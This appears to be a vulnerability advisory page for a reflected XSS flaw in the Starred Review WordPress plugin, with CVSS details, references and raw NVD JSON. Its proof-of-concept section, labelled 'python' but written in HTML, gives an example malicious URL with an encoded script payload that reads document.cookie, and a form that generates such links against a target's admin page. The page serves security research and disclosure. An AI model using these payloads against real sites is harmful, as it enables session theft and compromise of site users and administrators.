CVE-2025-14118

Description

The Starred Review plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the PHP_SELF variable in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Starred Review WordPress Plugin <= 1.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14118 PoC - Reflected XSS in Starred Review Plugin -->
<!-- Target: WordPress Starred Review Plugin <= 1.4.2 -->
<!-- Attack Vector: Malicious URL via PHP_SELF -->

<!-- 
Usage: 
1. Attacker crafts a malicious URL containing XSS payload
2. Victim must be logged into WordPress
3. Victim clicks the malicious link
4. JavaScript code executes in victim's browser
-->

<!-- Example malicious URL -->
<!-- 
http://target-site.com/wp-admin/admin.php?page=starred-review/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
-->

<!-- HTML form to demonstrate the attack -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14118 PoC</title>
</head>
<body>
    <h2>Malicious Link Generator for CVE-2025-14118</h2>
    <form id="pocForm">
        <label>Target URL:</label><br>
        <input type="text" id="targetUrl" size="50" placeholder="http://wordpress-site.com/wp-admin/"><br><br>
        <label>XSS Payload:</label><br>
        <input type="text" id="payload" size="50" value='"><script>alert("XSS")</script><x y="'><br><br>
        <button type="button" onclick="generateLink()">Generate Malicious Link</button>
    </form>
    <p id="result"></p>
    
    <script>
        function generateLink() {
            var baseUrl = document.getElementById('targetUrl').value;
            var payload = encodeURIComponent(document.getElementById('payload').value);
            var maliciousUrl = baseUrl + 'admin.php?page=starred-review/' + payload;
            document.getElementById('result').innerHTML = 
                'Malicious URL: <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14118
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14118
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14118/
[4] VulDB https://vuldb.com/cve/CVE-2025-14118
[5] https://plugins.trac.wordpress.org/browser/starred-review/tags/1.4.2/starred-review.php#L29
[6] https://plugins.trac.wordpress.org/browser/starred-review/trunk/starred-review.php#L29
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/2eb65c25-9400-4c5a-a4b2-b72628725500?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14118", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:52.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Starred Review plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the PHP_SELF variable in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Starred Review para WordPress es vulnerable a cross-site scripting reflejado a través de la variable PHP_SELF en todas las versiones hasta la 1.4.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/starred-review/tags/1.4.2/starred-review.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/starred-review/trunk/starred-review.php#L29", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2eb65c25-9400-4c5a-a4b2-b72628725500?source=cve", "source": "[email protected]"}]}}